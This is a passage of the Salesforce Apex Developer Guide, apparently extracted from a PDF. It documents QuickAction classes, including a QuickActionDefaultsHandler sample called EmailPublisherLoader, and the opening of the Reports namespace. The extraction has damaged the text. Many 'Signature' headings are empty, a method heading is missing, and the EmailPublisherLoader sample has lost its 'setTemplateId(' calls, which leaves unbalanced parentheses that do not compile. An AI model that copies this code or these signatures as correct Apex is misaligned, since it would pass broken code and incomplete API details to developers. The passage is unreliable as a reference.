getIcons()
Returns a list of Schema.DescribeIconResult objects that describe colors used in a tab.
getLabel()
Returns the action label.
getLayout()
Returns the layout sections that comprise an action.
getLightningComponentBundleId()
If the custom action invokes a Lightning component, returns the ID of the Lightning component bundle to which the component
belongs.
2139
getLightningComponentBundleName()
If the custom action invokes a Lightning component, returns the name of the Lightning component bundle to which the component
belongs.
getLightningComponentQualifiedName()
If the custom action invokes a Lightning component, returns the fully qualified name of the Lightning component invoked by the
custom action.
getMiniIconUrl()
Returns the 16x16 icon URL.
getName()
Returns the action name.
getShowQuickActionLcHeader()
Returns an indication of whether the Lightning component quick action header and footer are shown.
getShowQuickActionVfHeader()
Returns an indication of whether the Visualforce quick action header and footer should be shown.
getSourceSobjectType()
Returns the object type used for the action.
getTargetParentField()
Returns the parent object’s type for the action.
getTargetRecordTypeId()
Returns the record type of the targeted record.
getTargetSobjectType()
Returns the action’s target object type.
getType()
Returns a create or custom Visualforce action.
getVisualforcePageName()
If Visualforce is used, returns the name of the associated page for the action.
getVisualforcePageUrl()
Returns the URL of the Visualforce page associated with the action.
getWidth()
If a custom action is created, returns the width in pixels of the action pane.
getActionEnumOrId()
Signature
public String getActionEnumOrId()
Return Value
Type: String
2140
getCanvasApplicationName()
Returns the name of the Canvas application, if used.
Syntax
public String getCanvasApplicationName()
Return Value
Type: String
getColors()
Returns an array of color information. Each color is associated with a theme.
Signature
public List<Schema.DescribeColorResult> getColors()
Return Value
Type: List <Schema.DescribeColorResult>
getContextSobjectType()
Returns the object used for the action. Replaces getsourceSobjectType() in API version 30.0 and later.
Signature
public String getContextSobjectType()
Return Value
Type: String
getDefaultValues()
Returns the default values for a action.
Signature
public List<QuickAction.DescribeQuickActionDefaultValue> getDefaultValues()
Return Value
Type: List<QuickAction.DescribeQuickActionDefaultValue>
getFlowDevName()
If the custom action invokes a flow, returns the fully qualified name of the flow invoked by the custom action.
2141
Signature
public String getFlowDevName()
Return Value
Type: String
getFlowRecordIdVar()
If the custom action invokes a flow, returns the input variable that the custom action passes the record’s ID to.
Signature
public String getFlowRecordIdVar()
Return Value
Type: String
getHeight()
Returns the height in pixels of the action pane.
Signature
public Integer getHeight()
Return Value
Type: Integer
getIconName()
Returns the actions’ icon name.
Signature
public String getIconName()
Return Value
Type: String
getIconUrl()
Returns the URL of the 32x32 icon used for the action.
Signature
public String getIconUrl()
2142
Return Value
Type: String
getIcons()
Returns a list of Schema.DescribeIconResult objects that describe colors used in a tab.
Signature
public List<Schema.DescribeIconResult> getIcons()
Return Value
Type: List<Schema.DescribeIconResult>
getLabel()
Returns the action label.
Signature
Return Value
Type: String
getLayout()
Returns the layout sections that comprise an action.
Signature
public QuickAction.DescribeLayoutSection getLayout()
Return Value
Type: QuickAction.DescribeLayoutSection
getLightningComponentBundleId()
If the custom action invokes a Lightning component, returns the ID of the Lightning component bundle to which the component
belongs.
Signature
public String getLightningComponentBundleId()
Return Value
Type: String
2143
getLightningComponentBundleName()
If the custom action invokes a Lightning component, returns the name of the Lightning component bundle to which the component
belongs.
Signature
public String getLightningComponentBundleName()
Return Value
Type: String
getLightningComponentQualifiedName()
If the custom action invokes a Lightning component, returns the fully qualified name of the Lightning component invoked by the custom
action.
Signature
public String getLightningComponentQualifiedName()
Return Value
Type: String
getMiniIconUrl()
Returns the 16x16 icon URL.
Signature
public String getMiniIconUrl()
Return Value
Type: String
getName()
Returns the action name.
Signature
Return Value
Type: String
2144
getShowQuickActionLcHeader()
Returns an indication of whether the Lightning component quick action header and footer are shown.
Signature
public Boolean getShowQuickActionLcHeader()
Return Value
Type: Boolean
If false, then both the header containing the quick action title and the footer containing the Save and Cancel buttons aren’t displayed.
getShowQuickActionVfHeader()
Returns an indication of whether the Visualforce quick action header and footer should be shown.
Signature
public Boolean getShowQuickActionVfHeader()
Return Value
Type: Boolean
If false, then both the header containing the quick action title and the footer containing the Save and Cancel buttons aren’t displayed.
getSourceSobjectType()
Returns the object type used for the action.
Signature
public String getSourceSobjectType()
Return Value
Type: String
getTargetParentField()
Returns the parent object’s type for the action.
Signature
public String getTargetParentField()
Return Value
Type: String
2145
getTargetRecordTypeId()
Returns the record type of the targeted record.
Signature
public String getTargetRecordTypeId()
Return Value
Type: String
getTargetSobjectType()
Returns the action’s target object type.
Signature
public String getTargetSobjectType()
Return Value
Type: String
getType()
Returns a create or custom Visualforce action.
Signature
Return Value
Type: String
getVisualforcePageName()
If Visualforce is used, returns the name of the associated page for the action.
Signature
public String getVisualforcePageName()
Return Value
Type: String
getVisualforcePageUrl()
Returns the URL of the Visualforce page associated with the action.
2146
Signature
public String getVisualforcePageUrl()
Return Value
Type: String
getWidth()
If a custom action is created, returns the width in pixels of the action pane.
Signature
public Integer getWidth()
Return Value
Type: Integer
QuickActionDefaults Class
Represents an abstract Apex class that provides the context for running the standard Email Action on Case Feed and the container of
the Email Message fields for the action payload. You can override the target fields before the standard Email Action is rendered.
Namespace
QuickAction
Usage
Note: You cannot extend this abstract class. You can use the getter methods when using it in the context of
QuickAction.QuickActionDefaultsHandler. Salesforce provides a class that extends this class (See
QuickAction.SendEmailQuickActionDefaults.)
IN THIS SECTION:
QuickActionDefaults Methods
QuickActionDefaults Methods
The following are methods for QuickActionDefaults.
IN THIS SECTION:
getActionName()
Returns the name of the standard Email Action on Case Feed (Case.Email).
getActionType()
Returns the type of the standard Email Action on Case Feed (Email).
2147
getContextId()
The ID of the context related to the standard Email Action on Case Feed (Case ID).
getTargetSObject()
The target object of the standard Email Action on Case Feed (EmailMessage).
getActionName()
Returns the name of the standard Email Action on Case Feed (Case.Email).
Signature
public String getActionName()
Return Value
Type: String
getActionType()
Returns the type of the standard Email Action on Case Feed (Email).
Signature
public String getActionType()
Return Value
Type: String
getContextId()
The ID of the context related to the standard Email Action on Case Feed (Case ID).
Signature
public Id getContextId()
Return Value
Type: Id
getTargetSObject()
The target object of the standard Email Action on Case Feed (EmailMessage).
Signature
public SObject getTargetSObject()
2148
Return Value
Type: SObject
QuickActionDefaultsHandler Interface
The QuickAction.QuickActionDefaultsHandler interface lets you specify the default values for the standard Email
Action on Case Feed. You can use this interface to specify the From address, CC address, BCC address, subject, and email body for the
Email Action in Case Feed. You can use the interface to pre-populate these fields based on the context where the action is displayed,
such as the case origin (for example, country) and subject.
Namespace
QuickAction
Usage
To specify default values for the standard Email Action on Case Feed, create a class that implements
QuickAction.QuickActionDefaultsHandler.
When you implement this interface, provide an empty parameterless constructor.
IN THIS SECTION:
QuickActionDefaultsHandler Methods
QuickActionDefaultsHandler Example Implementation
QuickActionDefaultsHandler Methods
The following are methods for QuickActionDefaultsHandler.
IN THIS SECTION:
onInitDefaults(actionDefaults)
Implement this method to provide default values for the standard Email Action in Case Feed.
onInitDefaults(actionDefaults)
Implement this method to provide default values for the standard Email Action in Case Feed.
Signature
public void onInitDefaults(QuickAction.QuickActionDefaults[] actionDefaults)
Parameters
actionDefaults
Type: QuickAction.QuickActionDefaults[]
This array contains only one item of type QuickAction.SendEmailQuickActionDefaults.
2149
Return Value
Type: void
QuickActionDefaultsHandler Example Implementation

This is an example implementation of the QuickAction.QuickActionDefaultsHandler interface.
In this example, the onInitDefaults method checks whether the element passed in the array is for the standard Email Action on Case
Feed. Then, it performs a query to retrieve the case that corresponds to the context ID. Next, it sets the value of the BCC address of the
corresponding email message to a default value. The default value is based on the case reason. Finally, it sets the default values of the
email template properties. The onInitDefaults method determines the default values based on two criteria: first, whether a reply action
on an email message initiated the call to the method, and second, whether any previous emails attached to the case are associated with
the call.
global class EmailPublisherLoader implements QuickAction.QuickActionDefaultsHandler {
// Empty constructor
global EmailPublisherLoader() {
}
// The main interface method

global void onInitDefaults(QuickAction.QuickActionDefaults[] defaults) {
QuickAction.SendEmailQuickActionDefaults sendEmailDefaults = null;
// Check if the quick action is the standard Case Feed send email action
for (Integer j = 0; j < defaults.size(); j++) {
if (defaults.get(j) instanceof QuickAction.SendEmailQuickActionDefaults &&
defaults.get(j).getTargetSObject().getSObjectType() ==
EmailMessage.sObjectType &&
defaults.get(j).getActionName().equals('Case.Email') &&
defaults.get(j).getActionType().equals('Email')) {
sendEmailDefaults =
(QuickAction.SendEmailQuickActionDefaults)defaults.get(j);
break;
}
}
if (sendEmailDefaults != null) {
Case c = [SELECT Status, Reason FROM Case
WHERE Id=:sendEmailDefaults.getContextId()];
EmailMessage emailMessage = (EmailMessage)sendEmailDefaults.getTargetSObject();
// Set bcc address to make sure each email goes for audit
emailMessage.BccAddress = getBccAddress(c.Reason);
/*
Set Template related fields
When the In Reply To Id field is null we know the interface
is called on page load. Here we check if
there are any previous emails attached to the case and load
the 'New_Case_Created' or 'Automatic_Response' template.
When the In Reply To Id field is not null we know that
the interface is called on click of reply/reply all
2150
of an email and we load the 'Default_reply_template' template

*/
if (sendEmailDefaults.getInReplyToId() == null) {
Integer emailCount = [SELECT count() FROM EmailMessage
WHERE ParentId=:sendEmailDefaults.getContextId()];
if (emailCount!= null && emailCount > 0) {
sendEmailDefaults.setTemplateId(
getTemplateIdHelper('Automatic_Response'));
} else {
getTemplateIdHelper('New_Case_Created'));
}
sendEmailDefaults.setInsertTemplateBody(false);
sendEmailDefaults.setIgnoreTemplateSubject(false);
} else {
getTemplateIdHelper('Default_reply_template'));
sendEmailDefaults.setInsertTemplateBody(false);
sendEmailDefaults.setIgnoreTemplateSubject(true);
}
}
}
private Id getTemplateIdHelper(String templateApiName) {

Id templateId = null;
try {
templateId = [select id, name from EmailTemplate
where developername = : templateApiName].id;
} catch (Exception e) {
system.debug('Unble to locate EmailTemplate using name: ' +
templateApiName + ' refer to Setup | Communications Templates '
+ templateApiName);
}
return templateId;
}
private String getBccAddress(String reason) {
if (reason != null && reason.equals('Technical'))
{ return 'support_technical@mycompany.com'; }
else if (reason != null && reason.equals('Billing'))
{ return 'support_billing@mycompany.com'; }
else { return 'support@mycompany.com'; }
}
Use the QuickAction.QuickActionRequest class for providing action information for quick actions to be performed by
QuickAction class methods. Action information includes the action name, context record ID, and record.
2151
Namespace
QuickAction
Usage
For Apex saved using Salesforce API version 28.0, a parent ID is associated with the QuickActionRequest instead of the context ID.
The constructor of this class takes no arguments:
QuickAction.QuickActionRequest qar = new QuickAction.QuickActionRequest();
Example
In this sample, a new quick action is created to create a contact and assign a record to it.
QuickAction.QuickActionRequest req = new QuickAction.QuickActionRequest();
// Some quick action name
req.quickActionName = Schema.Account.QuickAction.AccountCreateContact;
// Define a record for the quick action to create

Contact c = new Contact();
c.lastname = 'last name';
req.record = c;
// Provide the context ID (or parent ID). In this case, it is an Account record.
req.contextid = '001xx000003DGcO';
QuickAction.QuickActionResult res = QuickAction.performQuickAction(req);
IN THIS SECTION:
QuickActionRequest Constructors
QuickActionRequest Methods
SEE ALSO:
QuickAction Class
QuickActionRequest Constructors
The following are constructors for QuickActionRequest.
IN THIS SECTION:
QuickActionRequest()
Creates a new instance of the QuickAction.QuickActionRequest class.
QuickActionRequest()
Creates a new instance of the QuickAction.QuickActionRequest class.
2152
Signature
public QuickActionRequest()
QuickActionRequest Methods
The following are methods for QuickActionRequest. All are instance methods.
IN THIS SECTION:
getContextId()
Returns this QuickAction’s context record ID.
getQuickActionName()
Returns this QuickAction’s name.
getRecord()
Returns the QuickAction’s associated record.
setContextId(contextId)
Sets this QuickAction’s context ID. Returned by getContextId.
setQuickActionName(name)
Sets this QuickAction’s name. Returned by getQuickActionName.
setRecord(record)
Sets a record for this QuickAction. Returned by getRecord.
getContextId()
Returns this QuickAction’s context record ID.
Signature
public Id getContextId()
Return Value
Type: ID
getQuickActionName()
Returns this QuickAction’s name.
Signature
public String getQuickActionName()
Return Value
Type: String
2153
getRecord()
Returns the QuickAction’s associated record.
Signature
Return Value
Type: sObject
setContextId(contextId)
Sets this QuickAction’s context ID. Returned by getContextId.
Signature
public Void setContextId(Id contextId)
Parameters
contextId
Type: ID
Return Value
Type: Void
Usage
For Apex saved using Salesforce API version 28.0, sets this QuickAction’s parent ID and is returned by getParentId.
setQuickActionName(name)
Sets this QuickAction’s name. Returned by getQuickActionName.
Signature
public Void setQuickActionName(String name)
Parameters
name
Type: String
Return Value
Type: Void
2154
setRecord(record)
Sets a record for this QuickAction. Returned by getRecord.
Signature
public Void setRecord(SObject record)
Parameters
record
Type: sObject
Return Value
Type: Void
After you initiate a quick action with the QuickAction class, use the QuickActionResult class for processing action results.
Namespace
QuickAction
SEE ALSO:
QuickAction Class
QuickActionResult Methods
The following are methods for QuickActionResult. All are instance methods.
IN THIS SECTION:
getErrors()
If an error occurs, an array of one or more database error objects, along with error codes and descriptions, is returned.
getIds()
The IDs of the QuickActions being processed.
getSuccessMessage()
Returns the success message associated with the quick action.
isCreated()
Returns true if the action is created; otherwise, false.
isSuccess()
Returns true if the action completes successfully; otherwise, false.
getErrors()
If an error occurs, an array of one or more database error objects, along with error codes and descriptions, is returned.
2155
Signature
Return Value
getIds()
The IDs of the QuickActions being processed.
Signature
public List<Id> getIds()
Return Value
Type: List<Id>
getSuccessMessage()
Returns the success message associated with the quick action.
Signature
public String getSuccessMessage()
Return Value
Type: String
isCreated()
Returns true if the action is created; otherwise, false.
Signature
public Boolean isCreated()
Return Value
Type: Boolean
isSuccess()
Returns true if the action completes successfully; otherwise, false.
Signature
2156
Return Value
Type: Boolean
SendEmailQuickActionDefaults Class
Represents an Apex class that provides: the From address list; the original email’s email message ID, provided that the reply action was
invoked on the email message feed item; and methods to specify related settings on templates. You can override these fields before
the standard Email Action is rendered.
Namespace
QuickAction
Usage
Note: You cannot instantiate this class. One can use the getters/setters when using it in the context of
QuickAction.QuickActionDefaultsHandler.
IN THIS SECTION:
SendEmailQuickActionDefaults Methods
SendEmailQuickActionDefaults Methods
The following are methods for SendEmailQuickActionDefaults.
IN THIS SECTION:
getFromAddressList()
Returns a list of email addresses that are available in the From: address drop-down menu for the standard Email Action.
getInReplyToId()
Returns the email message ID of the email to which the reply/reply all action has been invoked.
setIgnoreTemplateSubject(useOriginalSubject)
Specifies whether the template subject should be ignored (true), thus using the original subject, or whether the template subject
should replace the original subject (false).
setInsertTemplateBody(keepOriginalBodyContent)
Specifies whether the template body should be inserted above the original body content (true) or whether it should replace the
entire content with the template body (false).
Sets the email template ID to load into the email body.
getFromAddressList()
Returns a list of email addresses that are available in the From: address drop-down menu for the standard Email Action.
2157
Signature
public List<String> getFromAddressList()
Return Value
Type: List<String>
getInReplyToId()
Returns the email message ID of the email to which the reply/reply all action has been invoked.
Signature
public Id getInReplyToId()
Return Value
Type: Id
setIgnoreTemplateSubject(useOriginalSubject)
Specifies whether the template subject should be ignored (true), thus using the original subject, or whether the template subject should
replace the original subject (false).
Signature
public void setIgnoreTemplateSubject(Boolean useOriginalSubject)
Parameters
useOriginalSubject
Type: Boolean
Return Value
Type: void
setInsertTemplateBody(keepOriginalBodyContent)
Specifies whether the template body should be inserted above the original body content (true) or whether it should replace the entire
content with the template body (false).
Signature
public void setInsertTemplateBody(Boolean keepOriginalBodyContent)
Parameters
keepOriginalBodyContent
Type: Boolean
2158
Apex Developer Guide Reports Namespace
Return Value
Type: void
Sets the email template ID to load into the email body.
Signature
public void setTemplateId(Id templateId)
Parameters
templateId
Type: Id
The template ID.
Return Value
Type: void
Reports Namespace
The Reports namespace provides classes for accessing the same data as is available in the Salesforce Reports and Dashboards REST
API.
The following are the classes in the Reports namespace.
IN THIS SECTION:
AggregateColumn Class
Contains methods for describing summary fields such as Record Count, Sum, Average, Max, Min, and custom summary formulas.
Includes name, label, data type, and grouping context.
BucketField Class
Contains methods and constructors to work with information about a bucket field, including bucket type, name, and bucketed
values.
BucketFieldValue Class
Contains information about the report values included in a bucket field.
BucketType Enum
The types of values included in a bucket.
ColumnDataType Enum
The Reports.ColumnDataType enum describes the type of data in a column. It is returned by the getDataType method.
ColumnSortOrder Enum
The Reports.ColumnSortOrder enum describes the order that the grouping column uses to sort data.
CrossFilter Class
Contains methods and constructors used to work with information about a cross filter.
2159
CsfGroupType Enum
The group level at which the custom summary format aggregate is displayed in a report.
DateGranularity Enum
The Reports.DateGranularity enum describes the date interval that is used for grouping.
DetailColumn Class
Contains methods for describing fields that contain detailed data. Detailed data fields are also listed in the report metadata.
Dimension Class
Contains information for each row or column grouping.
EvaluatedCondition Class
Contains the individual components of an evaluated condition for a report notification, such as the aggregate name and label, the
operator, and the value that the aggregate is compared to.
EvaluatedConditionOperator Enum
The Reports.EvaluatedConditionOperator enum describes the type of operator used to compare an aggregate to
a value. It is returned by the getOperator method.
FilterOperator Class
Contains information about a filter operator, such as display name and API name.
FilterValue Class
Contains information about a filter value, such as the display name and API name.
FormulaType Enum
The format of the numbers in a custom summary formula.
GroupingColumn Class
Contains methods for describing fields that are used for column grouping.
GroupingInfo Class
Contains methods for describing fields that are used for grouping.
GroupingValue Class
Contains grouping values for a row or column, including the key, label, and value.
NotificationAction Interface
Implement this interface to trigger a custom Apex class when the conditions for a report notification are met.
NotificationActionContext Class
Contains information about the report instance and condition threshold for a report notification.
ReportCsf Class
Contains methods and constructors for working with information about a custom summary formula (CSF).
ReportCurrency Class
Contains information about a currency value, including the amount and currency code.
ReportDataCell Class
Contains the data for a cell in the report, including the display label and value.
ReportDescribeResult Class
Contains report, report type, and extended metadata for a tabular, summary, or matrix report.
ReportDetailRow Class
Contains data cells for a detail row of a report.
2160
ReportDivisionInfo Class
Contains information about the divisions that can be used to filter a report.
ReportExtendedMetadata Class
Contains report extended metadata for a tabular, summary, or matrix report.
ReportFact Class
Contains the fact map for the report, which represents the report’s data values.
ReportFactWithDetails Class
Contains the detailed fact map for the report, which represents the report’s data values.
ReportFactWithSummaries Class
Contains the fact map for the report, which represents the report’s data values, and includes summarized fields.
ReportFilter Class
Contains information about a report filter, including column, operator, and value.
ReportFormat Enum
Contains the possible report format types.
ReportInstance Class
Returns an instance of a report that was run asynchronously. Retrieves the results for that instance.
ReportManager Class
Runs a report synchronously or asynchronously and with or without details.
ReportMetadata Class
Contains report metadata for a tabular, summary, or matrix report.
ReportResults Class
Contains the results of running a report.
ReportScopeInfo Class
Contains information about possible scope values that you can choose. Scope values depend on the report type. For example, you
can set the scope for opportunity reports to All opportunities, My team’s opportunities, or My
opportunities.
ReportScopeValue Class
Contains information about a possible scope value. Scope values depend on the report type. For example, you can set the scope for
opportunity reports to All opportunities, My team’s opportunities, or My opportunities.
ReportType Class
Contains the unique API name and display name for the report type.
ReportTypeColumn Class
Contains detailed report type metadata about a field, including data type, display name, and filter values.
ReportTypeColumnCategory Class
Information about categories of fields in a report type.
ReportTypeMetadata Class
Contains report type metadata, which gives you information about the fields that are available in each section of the report type,
plus filter information for those fields.
SortColumn Class
Contains information about the sort column used in the report.
2161
StandardDateFilter Class
Contains information about standard date filter available in the report—for example, the API name, start date, and end date of the
standard date filter duration as well as the API name of the date field on which the filter is placed.
StandardDateFilterDuration Class
Contains information about each standard date filter—also referred to as a relative date filter. It contains the API name and display
label of the standard date filter duration as well as the start and end dates.
StandardDateFilterDurationGroup Class
Contains information about the standard date filter groupings, such as the grouping display label and all standard date filters that
fall under the grouping. Groupings include Calendar Year, Calendar Quarter, Calendar Month, Calendar
Week, Fiscal Year, Fiscal Quarter, Day, and custom values based on user-defined date ranges.
StandardFilter Class
Contains information about the standard filter defined in the report, such as the filter field API name and filter value.
StandardFilterInfo Class
Is an abstract base class for an object that provides standard filter information.
StandardFilterInfoPicklist Class
Contains information about the standard filter picklist, such as the display name and type of the filter field, the default picklist value,
and a list of all possible picklist values.
StandardFilterType Enum
The StandardFilterType enum describes the type of standard filters in a report. The getType() method returns a
Reports.StandardFilterType enum value.
SummaryValue Class
Contains summary data for a cell of the report.
ThresholdInformation Class
Contains a list of evaluated conditions for a report notification.
TopRows Class
Contains methods and constructors for working with information about a row limit filter.
Reports Exceptions
The Reports namespace contains exception classes.
AggregateColumn Class
Contains methods for describing summary fields such as Record Count, Sum, Average, Max, Min, and custom summary formulas. Includes
name, label, data type, and grouping context.
Namespace
Reports
AggregateColumn Methods
The following are methods for AggregateColumn. All are instance methods.
2162
IN THIS SECTION:
getName()
Returns the unique API name of the summary field.
getLabel()
Returns the localized display name for the summarized or custom summary formula field.
getDataType()
Returns the data type of the summarized or custom summary formula field.
getAcrossGroupingContext()
Returns the column grouping in the report where the summary field is displayed.
getDownGroupingContext()
Returns the row grouping in the report where the summary field is displayed.
getName()
Returns the unique API name of the summary field.
Syntax
Return Value
Type: String
getLabel()
Returns the localized display name for the summarized or custom summary formula field.
Syntax
Return Value
Type: String
getDataType()
Returns the data type of the summarized or custom summary formula field.
Syntax
public Reports.ColumnDataType getDataType()
Return Value
Type: Reports.ColumnDataType
2163
getAcrossGroupingContext()
Returns the column grouping in the report where the summary field is displayed.
Syntax
public String getAcrossGroupingContext()
Return Value
Type: String
getDownGroupingContext()
Returns the row grouping in the report where the summary field is displayed.
Syntax
public String getDownGroupingContext()
Return Value
Type: String
BucketField Class
Contains methods and constructors to work with information about a bucket field, including bucket type, name, and bucketed values.
Namespace
Reports
IN THIS SECTION:
BucketField Constructors
BucketField Methods
BucketField Constructors
The following are constructors for BucketField.
IN THIS SECTION:
BucketField(bucketType, devloperName, label, nullTreatedAsZero, otherBucketLabel, sourceColumnName, values)
Creates an instance of the Reports.BucketField class using the specified parameters.
BucketField()
Creates an instance of the Reports.BucketField class. You can then set values by using the class’s set methods.
2164
BucketField(bucketType, devloperName, label, nullTreatedAsZero, otherBucketLabel,

sourceColumnName, values)
Creates an instance of the Reports.BucketField class using the specified parameters.
Signature
public BucketField(Reports.BucketType bucketType, String devloperName, String label,
Boolean nullTreatedAsZero, String otherBucketLabel, String sourceColumnName,
List<Reports.BucketFieldValue> values)
Parameters
bucketType
Type: Reports.BucketType
The type of bucket.
devloperName
Type: String
API name of the bucket.
label
Type: String
User-facing name of the bucket.
nullTreatedAsZero
Type: Boolean
Specifies whether null values are converted to zero (true) or not (false).
otherBucketLabel
Type: String
Name of the fields grouped as Other (in buckets of BucketType PICKLIST).
sourceColumnName
Type: String
Name of the bucketed field.
values
Type: List<Reports.BucketType>
Types of the values included in the bucket.
BucketField()
Creates an instance of the Reports.BucketField class. You can then set values by using the class’s set methods.
Signature
public BucketField()
BucketField Methods
The following are methods for BucketField.
2165
IN THIS SECTION:
getBucketType()
Returns the bucket type.
getDevloperName()
Returns the bucket’s API name.
getLabel()
Returns the user-facing name of the bucket.
getNullTreatedAsZero()
Returns true if null values are converted to the number zero, otherwise returns false.
getOtherBucketLabel()
Returns the name of fields grouped as Other in buckets of type PICKLIST.
getSourceColumnName()
Returns the API name of the bucketed field.
getValues()
Returns the report values grouped by the bucket field.
setBucketType(value)
Sets the BucketType of the bucket.
setBucketType(bucketType)
setDevloperName(devloperName)
Sets the API name of the bucket.
setLabel(label)
Sets the user-facing name of the bucket.
setNullTreatedAsZero(nullTreatedAsZero)
Specifies whether null values in the bucket are converted to zero (true) or not (false).
setOtherBucketLabel(otherBucketLabel)
Sets the name of the fields grouped as Other (in buckets of BucketType PICKLIST).
setSourceColumnName(sourceColumnName)
Specifies the name of the bucketed field.
setValues(values)
Specifies which type of values are included in the bucket.
toString()
Returns a string.
getBucketType()
Returns the bucket type.
Signature
public Reports.BucketType getBucketType()
2166
Return Value
getDevloperName()
Returns the bucket’s API name.
Signature
public String getDevloperName()
Return Value
Type: String
getLabel()
Returns the user-facing name of the bucket.
Signature
Return Value
Type: String
getNullTreatedAsZero()
Returns true if null values are converted to the number zero, otherwise returns false.
Signature
public Boolean getNullTreatedAsZero()
Return Value
Type: Boolean
getOtherBucketLabel()
Returns the name of fields grouped as Other in buckets of type PICKLIST.
Signature
public String getOtherBucketLabel()
Return Value
Type: String
2167
getSourceColumnName()
Returns the API name of the bucketed field.
Signature
public String getSourceColumnName()
Return Value
Type: String
getValues()
Returns the report values grouped by the bucket field.
Signature
public List<Reports.BucketFieldValue> getValues()
Return Value
Type: List on page 2619<Reports.BucketFieldValue>
setBucketType(value)
Signature
public void setBucketType(String value)
Parameters
value
Type: String
See the Reports.BucketType enum for valid values.
Return Value
Type: void
setBucketType(bucketType)
Signature
public void setBucketType(Reports.BucketType bucketType)
2168
Parameters
bucketType
Return Value
Type: void
setDevloperName(devloperName)
Sets the API name of the bucket.
Signature
public void setDevloperName(String devloperName)
Parameters
devloperName
Type: String
The API name to assign to the bucket.
Return Value
Type: void
setLabel(label)
Sets the user-facing name of the bucket.
Signature
public void setLabel(String label)
Parameters
label
Type: String
Return Value
Type: void
setNullTreatedAsZero(nullTreatedAsZero)
Specifies whether null values in the bucket are converted to zero (true) or not (false).
Signature
public void setNullTreatedAsZero(Boolean nullTreatedAsZero)
2169
Parameters
nullTreatedAsZero
Type: Boolean
Return Value
Type: void
setOtherBucketLabel(otherBucketLabel)
Sets the name of the fields grouped as Other (in buckets of BucketType PICKLIST).
Signature
public void setOtherBucketLabel(String otherBucketLabel)
Parameters
otherBucketLabel
Type: String
Return Value
Type: void
setSourceColumnName(sourceColumnName)
Specifies the name of the bucketed field.
Signature
public void setSourceColumnName(String sourceColumnName)
Parameters
sourceColumnName
Type: String
Return Value
Type: void
setValues(values)
Specifies which type of values are included in the bucket.
Signature
public void setValues(List<Reports.BucketFieldValue> values)
2170
Parameters
values
Type: List on page 2619<Reports.BucketFieldValue>
Return Value
Type: void
toString()
Returns a string.
Signature
public String toString()
Return Value
Type: String
BucketFieldValue Class
Contains information about the report values included in a bucket field.
Namespace
Reports
IN THIS SECTION:
BucketFieldValue Constructors
BucketFieldValue Methods
BucketFieldValue Constructors
The following are constructors for BucketFieldValue.
IN THIS SECTION:
BucketFieldValue(label, sourceDimensionValues, rangeUpperBound)
Creates an instance of the Reports.BucketFieldValue class using the specified parameters.
BucketFieldValue()
Creates an instance of the Reports.BucketFieldValue class. You can then set values by using the class’s set methods.
BucketFieldValue(label, sourceDimensionValues, rangeUpperBound)

Creates an instance of the Reports.BucketFieldValue class using the specified parameters.
2171
Signature
public BucketFieldValue(String label, List<String> sourceDimensionValues, Double
rangeUpperBound)
Parameters
label
Type: String
The user-facing name of the bucket.
sourceDimensionValues
Type: List on page 2619<String>
A list of the values from the source field included in this bucket category (in buckets of type PICKLIST and buckets of type TEXT).
rangeUpperBound
Type: Double
The greatest range limit under which values are included in this bucket category (in buckets of type NUMBER).
BucketFieldValue()
Creates an instance of the Reports.BucketFieldValue class. You can then set values by using the class’s set methods.
Signature
public BucketFieldValue()
BucketFieldValue Methods
The following are methods for BucketFieldValue.
IN THIS SECTION:
getLabel()
Returns the user-facing name of the bucket category.
getRangeUpperBound()
Returns the greatest range limit under which values are included in this bucket category (in buckets of type NUMBER).
getSourceDimensionValues()
Returns a list of the values from the source field included in this bucket category (in buckets of type PICKLIST and buckets of
type TEXT).
setLabel(label)
Set the user-facing name of the bucket category.
setRangeUpperBound(rangeUpperBound)
Sets the greatest limit of a range under which values are included in this bucket category (in buckets of type NUMBER).
setSourceDimensionValues(sourceDimensionValues)
Specifies the values from the source field included in this bucket category (in buckets of type PICKLIST and buckets of type
TEXT).
2172
toString()
Returns a string.
getLabel()
Returns the user-facing name of the bucket category.
Signature
Return Value
Type: String
getRangeUpperBound()
Returns the greatest range limit under which values are included in this bucket category (in buckets of type NUMBER).
Signature
public Double getRangeUpperBound()
Return Value
Type: Double
getSourceDimensionValues()
Returns a list of the values from the source field included in this bucket category (in buckets of type PICKLIST and buckets of type
TEXT).
Signature
public List<String> getSourceDimensionValues()
Return Value
Type: List<String>
setLabel(label)
Set the user-facing name of the bucket category.
Signature
2173
Parameters
label
Type: String
Return Value
Type: void
setRangeUpperBound(rangeUpperBound)
Sets the greatest limit of a range under which values are included in this bucket category (in buckets of type NUMBER).
Signature
public void setRangeUpperBound(Double rangeUpperBound)
Parameters
rangeUpperBound
Type: Double
Return Value
Type: void
setSourceDimensionValues(sourceDimensionValues)
Specifies the values from the source field included in this bucket category (in buckets of type PICKLIST and buckets of type TEXT).
Signature
public void setSourceDimensionValues(List<String> sourceDimensionValues)
Parameters
sourceDimensionValues
Type: List<String>
Return Value
Type: void
toString()
Returns a string.
Signature
2174
Return Value
Type: String
BucketType Enum
The types of values included in a bucket.
Enum Values
The following are the values of the Reports.BucketType enum.
Value Description
NUMBER Numeric values
PICKLIST Picklist values
TEXT String values
ColumnDataType Enum
The Reports.ColumnDataType enum describes the type of data in a column. It is returned by the getDataType method.
Namespace
Reports
Enum Values
The following are the values of the Reports.ColumnDataType enum.
Value Description
BOOLEAN_DATA Boolean (true or false) values
COMBOBOX_DATA Comboboxes, which provide a set of enumerated values and enable the user to
specify a value that is not in the list
CURRENCY_DATA Currency values
DATETIME_DATA DateTime values
DATE_DATA Date values
DOUBLE_DATA Double values
EMAIL_DATA Email addresses
ID_DATA An object’s Salesforce ID
INT_DATA Integer values
2175
Value Description
MULTIPICKLIST_DATA Multi-select picklists, which provide a set of enumerated values from which multiple
values can be selected
PERCENT_DATA Percent values
PHONE_DATA Phone numbers. Values can include alphabetic characters. Client applications are
responsible for phone number formatting.
PICKLIST_DATA Single-select picklists, which provide a set of enumerated values from which only
one value can be selected
REFERENCE_DATA Cross-references to another object, analogous to a foreign key field
STRING_DATA String values
TEXTAREA_DATA String values that are displayed as multiline text fields
TIME_DATA Time values
URL_DATA URL values that are displayed as hyperlinks
ColumnSortOrder Enum
The Reports.ColumnSortOrder enum describes the order that the grouping column uses to sort data.
Namespace
Reports
Usage
The GroupingInfo.getColumnSortOrder() method returns a Reports.ColumnSortOrder enum value. The
GroupingInfo.setColumnSortOrder() method takes the enum value as an argument.
Enum Values
The following are the values of the Reports.ColumnSortOrder enum.
Value Description
ASCENDING Sort data in ascending order (A–Z)
DESCENDING Sort data in descending order (Z–A)
CrossFilter Class
Contains methods and constructors used to work with information about a cross filter.
2176
Namespace
Reports
